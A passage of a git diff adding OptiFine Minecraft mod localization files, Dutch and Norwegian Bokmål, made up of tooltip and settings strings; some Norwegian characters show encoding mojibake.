+of.options.VIGNETTE.tooltip.8=veilig gedeactiveerd worden. + +of.options.DYNAMIC_FOV=Dynamisch Gezichtsveld +of.options.DYNAMIC_FOV.tooltip.1=Dynamisch Gezichtsveld +of.options.DYNAMIC_FOV.tooltip.2= AAN - gebruik dynamisch gezichtsveld (standaard) +of.options.DYNAMIC_FOV.tooltip.3= UIT - gebruik geen dynamisch gezichtsveld +of.options.DYNAMIC_FOV.tooltip.4=Verandert het gezichtsveld (FOV) bij het vliegen, sprinten +of.options.DYNAMIC_FOV.tooltip.5=of trekken van een boog. + +of.options.DYNAMIC_LIGHTS=Dynamische Verlichting +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamische Verlichting +of.options.DYNAMIC_LIGHTS.tooltip.2= UIT - geen dynamische verlichting (standaard) +of.options.DYNAMIC_LIGHTS.tooltip.3= Snel - snelle dynamische verlichting (update elke 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Fraai - fraaie dynamische verlichting (update onmiddeljk) +of.options.DYNAMIC_LIGHTS.tooltip.5=Stelt verlichte objecten (fakkel, gloeisteen, etc.) in staat +of.options.DYNAMIC_LIGHTS.tooltip.6=om nabije blokken te verlichten wanneer zelf vastgehouden, +of.options.DYNAMIC_LIGHTS.tooltip.7=vastgehouden door een andere speler op de grond gegooid. + +# Performance + +of.options.SMOOTH_FPS=Stabiele FPS +of.options.SMOOTH_FPS.tooltip.1=Stabiliseerd FPS door de grafische driver buffers te wissen. +of.options.SMOOTH_FPS.tooltip.2= UIT - geen stabilisatie, FPS kan verschillen +of.options.SMOOTH_FPS.tooltip.3= AAN - FPS stabilisatie +of.options.SMOOTH_FPS.tooltip.4=Deze optie ligt aan de grafische drivers en het effect +of.options.SMOOTH_FPS.tooltip.5=is niet altijd zichtbaar. + +of.options.SMOOTH_WORLD=Stabiele Wereld +of.options.SMOOTH_WORLD.tooltip.1=Verwijderd vertragingen veroorzaakt door de interne server. +of.options.SMOOTH_WORLD.tooltip.2= UIT - geen stabilisatie, FPS kan verschillen +of.options.SMOOTH_WORLD.tooltip.3= AAN - FPS stabilisatie +of.options.SMOOTH_WORLD.tooltip.4=Stabiliseerd FPS door het verdelen van de belasting van de interne server. +of.options.SMOOTH_WORLD.tooltip.5=Alleen effectief voor locale werelden (alleen spelen). + +of.options.FAST_RENDER=Snelle Render +of.options.FAST_RENDER.tooltip.1=Snelle Render +of.options.FAST_RENDER.tooltip.2= UIT - standaard render algoritme (standaard) +of.options.FAST_RENDER.tooltip.3= AAN - geoptimaliseerde render algoritme (sneller) +of.options.FAST_RENDER.tooltip.4=Gebruikt een geoptimaliseerde render algoritme die de belasting van de +of.options.FAST_RENDER.tooltip.5=videokaart verminderd wat de prestaties verbeterd. +of.options.FAST_RENDER.tooltip.6=Deze opties kan conflicteren met andere mods. + +of.options.FAST_MATH=Snelle Algebra +of.options.FAST_MATH.tooltip.1=Snelle Algebra +of.options.FAST_MATH.tooltip.2= UIT - standaard algebra (standaard) +of.options.FAST_MATH.tooltip.3= AAN - snellere algebra +of.options.FAST_MATH.tooltip.4=Gebruikt geoptimaliseerde sin() en cos() functies die de processor +of.options.FAST_MATH.tooltip.5=cache beter weten te gebruiken en zo de prestaties kunnen verbeteren. +of.options.FAST_MATH.tooltip.6=Deze optie kan een minimaal effect hebben op wereld generatie. + +of.options.CHUNK_UPDATES=Chunk Updates +of.options.CHUNK_UPDATES.tooltip.1=Chunk updates +of.options.CHUNK_UPDATES.tooltip.2= 1 - langzamer laden van de wereld, hogere FPS (standaard) +of.options.CHUNK_UPDATES.tooltip.3= 3 - sneller laden van de wereld, lagere FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - snelste laden van de wereld, laagste FPS +of.options.CHUNK_UPDATES.tooltip.5=Aantal chunk updates per frame, +of.options.CHUNK_UPDATES.tooltip.6=hogere waarden kunnen prestaties instabiel maken. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamische Chunk Updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamische chunk updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= UIT - standaard aantal chunk updates per frame (standaard) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= AAN - meer updates terwijl de speler stil stat +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamische updates zorgen voor meer chunk updates +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=als de speler stil staat zodat de wereld sneller laadt. + +of.options.LAZY_CHUNK_LOADING=Luie Chunks Laden +of.options.LAZY_CHUNK_LOADING.tooltip.1=Luie Chunks Laden +of.options.LAZY_CHUNK_LOADING.tooltip.2= UIT - standaard laden van chunks +of.options.LAZY_CHUNK_LOADING.tooltip.3= AAN - luie methode van het laden van chunks (stabieler) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Maakt het laden van server chunks stabiler door het +of.options.LAZY_CHUNK_LOADING.tooltip.5=verdelen van het laden van chunks over meerdere ticks. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Zet dit UIT als delen van de wereld niet correct laden. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Alleen effectief voor locale werelden (alleen spelen). + +of.options.RENDER_REGIONS=Render Regios +of.options.RENDER_REGIONS.tooltip.1=Render Regios +of.options.RENDER_REGIONS.tooltip.2= UIT - gebruik geen render regios (standaard) +of.options.RENDER_REGIONS.tooltip.3= AAN - gebruik render regions +of.options.RENDER_REGIONS.tooltip.4=Render regios maakt het sneller laden van terrein bij hogere +of.options.RENDER_REGIONS.tooltip.5=render bereiken mogelijk. Effectiever met VBOs ingeschakeld. +of.options.RENDER_REGIONS.tooltip.6=Niet aangeraden voor geïntegreerde grafische kaarten recommended for integrated graphics cards. + +of.options.SMART_ANIMATIONS=Slimme Animaties +of.options.SMART_ANIMATIONS.tooltip.1=Slimme Animaties +of.options.SMART_ANIMATIONS.tooltip.2= UIT - gebruik geen slimme animaties (standaard) +of.options.SMART_ANIMATIONS.tooltip.3= AAN - gebruik slimme animaties +of.options.SMART_ANIMATIONS.tooltip.4=Met slimme animaties worden alleen zichtbare blokken geanimeerd +of.options.SMART_ANIMATIONS.tooltip.5=Dit verminderd haperingen en verbeterd prestaties. +of.options.SMART_ANIMATIONS.tooltip.6=Vooral handig bij het gebruik van grote mod pakketten. +of.options.SMART_ANIMATIONS.tooltip.7=en HD bonpakketten + +# Animations + +of.options.animation.allOn=Alles AAN +of.options.animation.allOff=Alles UIT +of.options.animation.dynamic=Dynamisch + +of.options.ANIMATED_WATER=Water Geanimeerd +of.options.ANIMATED_LAVA=Lava Geanimeerd +of.options.ANIMATED_FIRE=Vuur Geanimeerd +of.options.ANIMATED_PORTAL=Portaal Geanimeerd +of.options.ANIMATED_REDSTONE=Redstone Geanimeerd +of.options.ANIMATED_EXPLOSION=Explosies Geanimeerd +of.options.ANIMATED_FLAME=Vlammen Geanimeerd +of.options.ANIMATED_SMOKE=Rook Geanimeerd +of.options.VOID_PARTICLES=Leegte Deeltjes +of.options.WATER_PARTICLES=Water Deeltjes +of.options.RAIN_SPLASH=Regen Plonzen +of.options.PORTAL_PARTICLES=Portaal Deeltjes +of.options.POTION_PARTICLES=Drank Deeltjes +of.options.DRIPPING_WATER_LAVA=Druipende Water/Lava +of.options.ANIMATED_TERRAIN=Terrein Geanimeerd +of.options.ANIMATED_TEXTURES=Textures Geanimeerd +of.options.FIREWORK_PARTICLES=Vuurwerk Deeltjes + +# Other + +of.options.LAGOMETER=Lagometer +of.options.LAGOMETER.tooltip.1=Toon de lagometer op het debug scherm (F3). +of.options.LAGOMETER.tooltip.2=* Oranje - Geheugen vuilnis collectie +of.options.LAGOMETER.tooltip.3=* Cyaan - Tick +of.options.LAGOMETER.tooltip.4=* Blauw - Geplande executables +of.options.LAGOMETER.tooltip.5=* Paars - Chunk upload +of.options.LAGOMETER.tooltip.6=* Rood - Chunk updates +of.options.LAGOMETER.tooltip.7=* Geel - Zichtbaarheids check +of.options.LAGOMETER.tooltip.8=* Groen - Render terrein + +of.options.PROFILER=Debug Profiler +of.options.PROFILER.tooltip.1=Debug Profiler +of.options.PROFILER.tooltip.2= AAN - debug profiler is actief, langzamer +of.options.PROFILER.tooltip.3= UIT - debug profiler is niet actief, sneller +of.options.PROFILER.tooltip.4=De debug profiler verzameld en toont debug informatie +of.options.PROFILER.tooltip.5=als het debug scherm open is (F3). + +of.options.WEATHER=Weer +of.options.WEATHER.tooltip.1=Weer +of.options.WEATHER.tooltip.2= AAN - weer is actief, langzamer +of.options.WEATHER.tooltip.3= UIT - weer is niet actief, sneller +of.options.WEATHER.tooltip.4=Het weer bestuurt regen, sneeuw en onweersbuien. +of.options.WEATHER.tooltip.5=Het besturen van het weer is alleen mogelijk voor locale werelden. + +of.options.time.dayOnly=Alleen Dag +of.options.time.nightOnly=Alleen Nacht + +of.options.TIME=Tijd +of.options.TIME.tooltip.1=Tijd +of.options.TIME.tooltip.2= Standaard - normale dag/nacht cyclus +of.options.TIME.tooltip.3= Alleen Dag - alleen dag +of.options.TIME.tooltip.4= Alleen Nacht - alleen nacht +of.options.TIME.tooltip.5=De tijd instelling is alleen effectief in CREATIEVE modus +of.options.TIME.tooltip.6=en voor locale werelden. + +options.fullscreen.tooltip.1=Volledig Scherm +options.fullscreen.tooltip.2= AAN - gebruik volledig scherm modus +options.fullscreen.tooltip.3= UIT - gebruik venster modus +options.fullscreen.tooltip.4=Volledig scherm modus kan sneller of langzamer zij dan +options.fullscreen.tooltip.5=venster modus, afhankelijk van de grafische kaart. + +of.options.FULLSCREEN_MODE=Volledig Scherm Modus +of.options.FULLSCREEN_MODE.tooltip.1=Volledig Scherm Modus +of.options.FULLSCREEN_MODE.tooltip.2= Standaard - gebruik standaard resolutie, langzamer +of.options.FULLSCREEN_MODE.tooltip.3= BxH - gebruik een aangepaste resolutie, kan sneller zijn +of.options.FULLSCREEN_MODE.tooltip.4=De geselecteerde resolutie wordt gebruikt in volledig scherm modus (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Lagere resoluties zijn over het algemeen sneller. + +of.options.SHOW_FPS=FPS Tonen +of.options.SHOW_FPS.tooltip.1=Toon compacte FPS en render informatie. +of.options.SHOW_FPS.tooltip.2= FPS - gemiddeld/minimum +of.options.SHOW_FPS.tooltip.3= C: - chunk renderaars +of.options.SHOW_FPS.tooltip.4= E: - gerenderde entiteiten + blok entiteiten +of.options.SHOW_FPS.tooltip.5= U: - chunk updates +of.options.SHOW_FPS.tooltip.6=De compacte FPS informatie is alleen zichtbaar +of.options.SHOW_FPS.tooltip.7=als het debug scherm niet zichtbaar is. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3m +of.options.save.6min=6m +of.options.save.12min=12m +of.options.save.24min=24m + +of.options.AUTOSAVE_TICKS=Automatisch Opslaan +of.options.AUTOSAVE_TICKS.tooltip.1=Auto Interval +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - standaard +of.options.AUTOSAVE_TICKS.tooltip.3=Automatisch opslaan kan haperingen veroorzaken afhankelijk van de render afstand. +of.options.AUTOSAVE_TICKS.tooltip.4=De wereld wordt ook opgeslagen bij het pauzeren. + +of.options.SCREENSHOT_SIZE=Schermafbeelding Maat +of.options.SCREENSHOT_SIZE.tooltip.1=Schermafbeelding Maat +of.options.SCREENSHOT_SIZE.tooltip.2= Standaard - standaard schermafbeelding maat +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - aangepaste schermafbeelding maat +of.options.SCREENSHOT_SIZE.tooltip.4=Het maken van grotere schermafbeeldingen heeft meer geheugen nodig. +of.options.SCREENSHOT_SIZE.tooltip.5=Niet compatibel met Snelle Render en Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.6=Vereist videokaart framebuffer ondersteuning. + +of.options.SHOW_GL_ERRORS=GL Errors Tonen +of.options.SHOW_GL_ERRORS.tooltip.1=OpenGL Errors Tonen +of.options.SHOW_GL_ERRORS.tooltip.2=OpenGL errors worden in chat weergegeven wanneer geactiveerd. +of.options.SHOW_GL_ERRORS.tooltip.3=Schakel uit als er een bekend conflict is en +of.options.SHOW_GL_ERRORS.tooltip.4=de errors niet opgelost kunnen worden. +of.options.SHOW_GL_ERRORS.tooltip.5=Zodra uitgeschakeld worden errors alsnog gelogd in het +of.options.SHOW_GL_ERRORS.tooltip.6=error log en kan dit nogsteeds instabiliteit veroorzaken. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Chat Achtergrond +of.options.CHAT_BACKGROUND.tooltip.1=Chat Achtergrond +of.options.CHAT_BACKGROUND.tooltip.2= Standaard - vaste breedte +of.options.CHAT_BACKGROUND.tooltip.3= Compact - past aan aan regel breedte +of.options.CHAT_BACKGROUND.tooltip.4= UIT - verborgen + +of.options.CHAT_SHADOW=Chat Schaduw +of.options.CHAT_SHADOW.tooltip.1=Chat Schaduw +of.options.CHAT_SHADOW.tooltip.2= AAN - gebruik tekst schaduw +of.options.CHAT_SHADOW.tooltip.3= UIT - geen tekst schaduw diff --git a/src/assets/minecraft/optifine/lang/no_no.lang b/src/assets/minecraft/optifine/lang/no_no.lang new file mode 100644 index 00000000..baf4e0f9 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/no_no.lang @@ -0,0 +1,757 @@ +# Contributors of Norwegian BokmÃ¥l localization # +# Regnander (_Spitz) 2018-06-24 ---- 2018-08-06 +# Eiliv U. Henschien (Eiliv) 2018-08-10 ---- 2018-08-11 + +# General +of.general.ambiguous=tvetydig +of.general.compact=Kompakt +of.general.custom=Tilpasset +of.general.from=Fra +of.general.id=ID +of.general.max=Maksimum +of.general.restart=start pÃ¥ nytt +of.general.smart=Smart + +# Keys +of.key.zoom=Zoom inn + +# Message +of.message.aa.shaders1=Kantutjevning er ikke kompatibel med Shaders. +of.message.aa.shaders2=Deaktiver Shaders for Ã¥ aktivere dette alternativet. + +of.message.af.shaders1=Anisotropisk filtrering er ikke kompatibel med Shaders. +of.message.af.shaders2=Deaktiver Shaders for Ã¥ aktivere dette alternativet. + +of.message.fr.shaders1=Rask gjengivelse er ikke kompatibel med Shaders. +of.message.fr.shaders2=Deaktiver Shaders for Ã¥ aktivere dette alternativet. + +of.message.an.shaders1=3D-effekt er ikke kompatibel med Shaders. +of.message.an.shaders2=Deaktiver Shaders for Ã¥ aktivere dette alternativet. + +of.message.shaders.aa1=Shaders er ikke kompatibel med Kantutjevning. +of.message.shaders.aa2=Endre "Kvalitet -> Kantutjevning" til AV og start spillet pÃ¥ nytt. + +of.message.shaders.af1=Shaders er ikke kompatibel med Anisotropisk filtrering. +of.message.shaders.af2=Endre "Kvalitet -> Anisotropisk filtrering" til AV. + +of.message.shaders.fr1=Shaders er ikke kompatibel med Rask gjengivelse. +of.message.shaders.fr2=Endre "Ytelse -> Rask gjengivelse" til AV. + +of.message.shaders.an1=Shaders er ikke kompatibel med 3D-effekt. +of.message.shaders.an2=Endre "Øvrig -> 3D-effekt" til AV. + +of.message.shaders.nv1=Denne shaderpakken krever en nyere versjon av OptiFine: %s +of.message.shaders.nv2=Er du sikker pÃ¥ at du vil gjøre dette? + +of.message.newVersion=En ny versjon av §eOptiFine§f er tilgjengelig: §e%s§f +of.message.java64Bit=Du kan installere §e64-bitersversjonen av Java§f for Ã¥ forbedre ytelsen. +of.message.openglError=§eOpenGL-feil§f: %s (%s) + +of.message.shaders.loading=Laster inn shaders: %s + +of.message.other.reset=Tilbakestill alle videoinnstillingene til standardverdiene? + +of.message.loadingVisibleChunks=Laster synlige verdensbiter + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine-kappe... + +of.options.capeOF.title=OptiFine-kappe +of.options.capeOF.openEditor=Ã…pne kapperedigering +of.options.capeOF.reloadCape=Last inn kappen pÃ¥ nytt + +of.message.capeOF.openEditor=OptiFine-kapperedigeringssiden vil bli Ã¥pnet i nettleseren. +of.message.capeOF.reloadCape=Kappen lastes pÃ¥ nytt om 15 sekunder. + +of.message.capeOF.error1=Mojang-autentisering mislykket. +of.message.capeOF.error2=Feil: %s + + +# Video settings + +options.graphics.tooltip.1=Visuell kvalitet +options.graphics.tooltip.2= Rask - lavere kvalitet, hurtigere +options.graphics.tooltip.3= Stilig - høyere kvalitet, langsommere +options.graphics.tooltip.4=Endrer utseendet pÃ¥ skyer, blader, vann, skygger og +options.graphics.tooltip.5=gresskanter. + +of.options.renderDistance.tiny=Liten +of.options.renderDistance.short=Kort +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Lang +of.options.renderDistance.extreme=Ekstrem +of.options.renderDistance.insane=Sinnssyk +of.options.renderDistance.ludicrous=Latterlig + +options.renderDistance.tooltip.1=Synlig avstand +options.renderDistance.tooltip.2= 2 Liten - 32m (raskeste) +options.renderDistance.tooltip.3= 8 Normal - 128m (normal) +options.renderDistance.tooltip.4= 16 Lang - 256m (langsommere) +options.renderDistance.tooltip.5= 32 Ekstrem - 512m (langsomste!) veldig ressurskrevende +options.renderDistance.tooltip.6= 48 Sinnssyk - 768m, trenger 2 GB tildelt RAM +options.renderDistance.tooltip.7= 64 Latterlig - 1024m, trenger 3 GB tildelt RAM +options.renderDistance.tooltip.8=Verdier over 16 er bare effektive i lokale verdener. + +options.ao.tooltip.1=Jevnt beslysningsnivÃ¥ +options.ao.tooltip.2= AV - ingen jevn beslysning (hurtigste) +options.ao.tooltip.3= Minimum - enkelt jevn beslysning (langsommere) +options.ao.tooltip.4= Maksimum - avansert jevn beslysning (langsomste) + +options.framerateLimit.tooltip.1=Maksimal bildefrekvens +options.framerateLimit.tooltip.2= VSync - bruker skjermens bildefrekvens (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variabel +options.framerateLimit.tooltip.4= Ubegrenset - ingen begrensning (hurtigste) +options.framerateLimit.tooltip.5=Bildefrekvensgrensen reduserer bildefrekvensen selv +options.framerateLimit.tooltip.6=om grenseverdien ikke er nÃ¥dd. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Jevnt beslyningsnivÃ¥ +of.options.AO_LEVEL.tooltip.1=Jevnt beslyningsnivÃ¥ +of.options.AO_LEVEL.tooltip.2= AV - ingen skygger +of.options.AO_LEVEL.tooltip.3= 50%% - lyse skygger +of.options.AO_LEVEL.tooltip.4= 100%% - mørke skygger + +options.viewBobbing.tooltip.1=Mer realistisk bevegelse. +options.viewBobbing.tooltip.2=Deaktiver dette dersom mipmaps brukes til best resultat. + +options.guiScale.tooltip.1=Størrelse pÃ¥ brukergrensesnitt +options.guiScale.tooltip.2= Automatisk - maximal størrelse +options.guiScale.tooltip.3= Liten, Normal, Stor - 1x til 3x +options.guiScale.tooltip.4= 4x til 10x - tilgjengelig pÃ¥ 4K-skjermer +options.guiScale.tooltip.5=Oddverdier (1x, 3x, 5x...) er ikke kompatible med Unicode. +options.guiScale.tooltip.6=Et mindre grensesnitt kan være raskere. + +options.vbo=Bruk VBOs +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Bruker en alternativ gjengivelsesmodell som vanligvis er +options.vbo.tooltip.3=raskere (5-10%%) enn standardgjengivelsen. + +options.gamma.tooltip.1=Endrer lysstyrken pÃ¥ mørkere gjenstander. +options.gamma.tooltip.2= Dunkelt - standardlysstyrke +options.gamma.tooltip.3= 1-99%% - variabel +options.gamma.tooltip.4= Lyst - maksimal lysstyrke for mørkere gjenstander +options.gamma.tooltip.5=Dette alternativet endrer ikke lysstyrken pÃ¥ helt svarte +options.gamma.tooltip.6=objekter. + +options.anaglyph.tooltip.1=3D-anaglyf +options.anaglyph.tooltip.2=Aktiverer en stereoskopisk 3D-effekt ved Ã¥ bruke +options.anaglyph.tooltip.3=forskjellige farger for hvert øye. +options.anaglyph.tooltip.4=Krever rød-turkise briller for best resultat. + +of.options.ALTERNATE_BLOCKS=Alterner blokker +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternerende blokker +of.options.ALTERNATE_BLOCKS.tooltip.2=Bruker alternative blokkmodeller for noen blokker. +of.options.ALTERNATE_BLOCKS.tooltip.3=Avhenger av den valgte ressurspakken. + +of.options.FOG_FANCY=TÃ¥ke +of.options.FOG_FANCY.tooltip.1=Type tÃ¥ke +of.options.FOG_FANCY.tooltip.2= Rask - raskere tÃ¥ke +of.options.FOG_FANCY.tooltip.3= Stilig - langsommere tÃ¥ke, ser bedre ut +of.options.FOG_FANCY.tooltip.4= AV - ingen tÃ¥ke, hurtigste +of.options.FOG_FANCY.tooltip.5=Stilig tÃ¥ke er bare tilgjengelig hvis det støttes av grafikk- +of.options.FOG_FANCY.tooltip.6=kortet. + +of.options.FOG_START=Startgrense for tÃ¥ke +of.options.FOG_START.tooltip.1=Startgrense for tÃ¥ke +of.options.FOG_START.tooltip.2= 0.2 - tÃ¥ken begynner nær spilleren +of.options.FOG_START.tooltip.3= 0.8 - tÃ¥ken begynner langt unna spilleren +of.options.FOG_START.tooltip.4=Dette alternativet pÃ¥virker vanligvis ikke ytelsen. + +of.options.CHUNK_LOADING=Verdensbitslastning +of.options.CHUNK_LOADING.tooltip.1=Verdensbitslastning +of.options.CHUNK_LOADING.tooltip.2= Standard - ustabil bildefrekvens nÃ¥r verdensbiter lastes +of.options.CHUNK_LOADING.tooltip.3= Jevn - stabil bildefrekvens +of.options.CHUNK_LOADING.tooltip.4= Flerkjernet - stabil bildefrekvens, 3x hurtigere last +of.options.CHUNK_LOADING.tooltip.5=Jevn og Flerkjernet fjerner stammingen og +of.options.CHUNK_LOADING.tooltip.6=frysingen forÃ¥rsaket av verdensbitslasting. +of.options.CHUNK_LOADING.tooltip.7=Flerkjernet kan øke hastigheten pÃ¥ verdensbelastning med 3x +of.options.CHUNK_LOADING.tooltip.8=og øke bildefrekvensen ved Ã¥ bruke en andre processorkjerne. +of.options.chunkLoading.smooth=Jevn +of.options.chunkLoading.multiCore=Flerkjernet + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=AV +of.options.shaders.packDefault=(intern) + +of.options.shaders.ANTIALIASING=Kantutjevning +of.options.shaders.ANTIALIASING.tooltip.1=Kantutjevning +of.options.shaders.ANTIALIASING.tooltip.2= AV - (standard) ingen kantutjevning (hurtigere) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - glatte linjer og kanter (langsommere) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA er en etterbehandlingseffekt som glatter ut +of.options.shaders.ANTIALIASING.tooltip.5=stiplede linjer og skarpe fargeendringer. +of.options.shaders.ANTIALIASING.tooltip.6=Det er raskere enn tradisjonell kantutjevning og er +of.options.shaders.ANTIALIASING.tooltip.7=kompatibel med shaders og Rask gjengivelse. + +of.options.shaders.NORMAL_MAP=Normal map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal map +of.options.shaders.NORMAL_MAP.tooltip.2= PÃ… - (standard) aktiver normal maps +of.options.shaders.NORMAL_MAP.tooltip.3= AV - deaktiver normal maps +of.options.shaders.NORMAL_MAP.tooltip.4=Shader-pakken kan bruke normal maps for Ã¥ +of.options.shaders.NORMAL_MAP.tooltip.5=simulere 3D-geometri pÃ¥ flate modelloverflater. +of.options.shaders.NORMAL_MAP.tooltip.6=Teksturer for normal maps leveres av den nÃ¥værende +of.options.shaders.NORMAL_MAP.tooltip.7=ressurspakken. + +of.options.shaders.SPECULAR_MAP=Specular map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular map +of.options.shaders.SPECULAR_MAP.tooltip.2= PÃ… - (standard) aktiver specular maps +of.options.shaders.SPECULAR_MAP.tooltip.3= AV - deaktivere specular maps +of.options.shaders.SPECULAR_MAP.tooltip.4=Shaderpakken kan bruke specular maps for Ã¥ simulere +of.options.shaders.SPECULAR_MAP.tooltip.5=spesielle refleksjonseffekter. +of.options.shaders.SPECULAR_MAP.tooltip.6=Teksturer for specular maps leveres av den nÃ¥værende +of.options.shaders.SPECULAR_MAP.tooltip.7=ressurspakken. + +of.options.shaders.RENDER_RES_MUL=Gjengivelsekvalitet +of.options.shaders.RENDER_RES_MUL.tooltip.1=Gjengivelsekvalitet +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - lav (hurtigste) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (standard) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - høy (langsomste) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Gjengivelsekvalitet styrer størrelsen pÃ¥ tekstur som +of.options.shaders.RENDER_RES_MUL.tooltip.6=shaderpakken gjengir. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Lavere verdier kan være nyttige pÃ¥ 4K-skjermer. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Høyere verdier fungerer som et kantutjevningsfilter. + +of.options.shaders.SHADOW_RES_MUL=Skyggekvalitet +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Skyggekvalitet +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - lav (hurtigste) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (standard) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - høy (langsomste) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Skyggekvalitet styrer størrelsen pÃ¥ tekstur for shadow +of.options.shaders.SHADOW_RES_MUL.tooltip.6=map som brukes i shaderpakken. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Lavere kvalitet = enkle grove skygger. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Høyere kvalitet = detaljerte fine skygger. + +of.options.shaders.HAND_DEPTH_MUL=HÃ¥nddybde +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=HÃ¥nddybde +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - hÃ¥nden er nær kameraet +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (standard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - hÃ¥nden er langt borte fra kameraet +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=HÃ¥nddybde styrer hvor langt unna hÃ¥ndholdte +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=gjenstander kommer fra kameraet. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=For shaderpakker som bruker dybdeskarphet, bør dette +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=forandre hvordan uskarpe hÃ¥ndholdte gjenstander blir. + +of.options.shaders.CLOUD_SHADOW=Skyskygge + +of.options.shaders.OLD_HAND_LIGHT=G. hÃ¥ndlys +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Gammelt hÃ¥ndlys +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Standard - kontrollert av shaderpakken +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= PÃ… - bruk gammelt hÃ¥ndlys +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= AV - bruk nye hÃ¥ndlys +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Gammelt hÃ¥ndlys tillater shaderpakker som bare +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=gjenkjenner lysemitterende gjenstander i hovedhÃ¥nden +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=ogsÃ¥ arbeider med gjenstander i den andre hÃ¥nden. + +of.options.shaders.OLD_LIGHTING=Gammelt lys +of.options.shaders.OLD_LIGHTING.tooltip.1=Gammelt lys +of.options.shaders.OLD_LIGHTING.tooltip.2= Standard - kontrollert av shaderpakken +of.options.shaders.OLD_LIGHTING.tooltip.3= PÃ… - bruk gammelt lys +of.options.shaders.OLD_LIGHTING.tooltip.4= AV - bruk ikke gammelt lys +of.options.shaders.OLD_LIGHTING.tooltip.5=Gammelt lys kontrollerer det faste lyset som brukes til Ã¥ +of.options.shaders.OLD_LIGHTING.tooltip.6=blokksider som standard. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shaderpakker som bruker skygger produserer vanligvis +of.options.shaders.OLD_LIGHTING.tooltip.8=mye bedre lys som avhenger av solens posisjon. + +of.options.shaders.DOWNLOAD=Last ned shaders +of.options.shaders.DOWNLOAD.tooltip.1=Last ned shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Ã…pner nettsiden for shaderpakker i en nettleser. +of.options.shaders.DOWNLOAD.tooltip.4=Legg nedlastede shaderpakker i "shadermappen" og de +of.options.shaders.DOWNLOAD.tooltip.5=vil vises pÃ¥ listen over installerte shaders. + +of.options.shaders.SHADER_PACK=Shaderpakker + +of.options.shaders.shadersFolder=Shadermappe +of.options.shaders.shaderOptions=Shaderalternativer... + +of.options.shaderOptionsTitle=Shaderalternativer + +of.options.quality=Kvalitet... +of.options.qualityTitle=Kvalitetsinnstillinger + +of.options.details=Detaljer... +of.options.detailsTitle=Detaljinnstillinger + +of.options.performance=Ytelse... +of.options.performanceTitle=Ytelseinnstillinger + +of.options.animations=Animeringar... +of.options.animationsTitle=Animeringsinnstillinger + +of.options.other=Andre... +of.options.otherTitle=Andre innstillinger + +of.options.other.reset=Tilbakestill videoinnstillinger... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilineær +of.options.mipmap.linear=Lineær +of.options.mipmap.nearest=Nærmeste +of.options.mipmap.trilinear=Trelineær + +options.mipmapLevels.tooltip.1=Visuell effekt som gjør at fjerne avstander ser bedre ut +options.mipmapLevels.tooltip.2=ved Ã¥ utjevne teksturdetaljer. +options.mipmapLevels.tooltip.3= AV - ingen utjevning +options.mipmapLevels.tooltip.4= 1 - minimal utjevning +options.mipmapLevels.tooltip.5= 4 - maksimal utjevning +options.mipmapLevels.tooltip.6=Dette alternativet pÃ¥virker vanligvis ikke ytelsen. + +of.options.MIPMAP_TYPE=Mipmaptyp +of.options.MIPMAP_TYPE.tooltip.1=Visuell 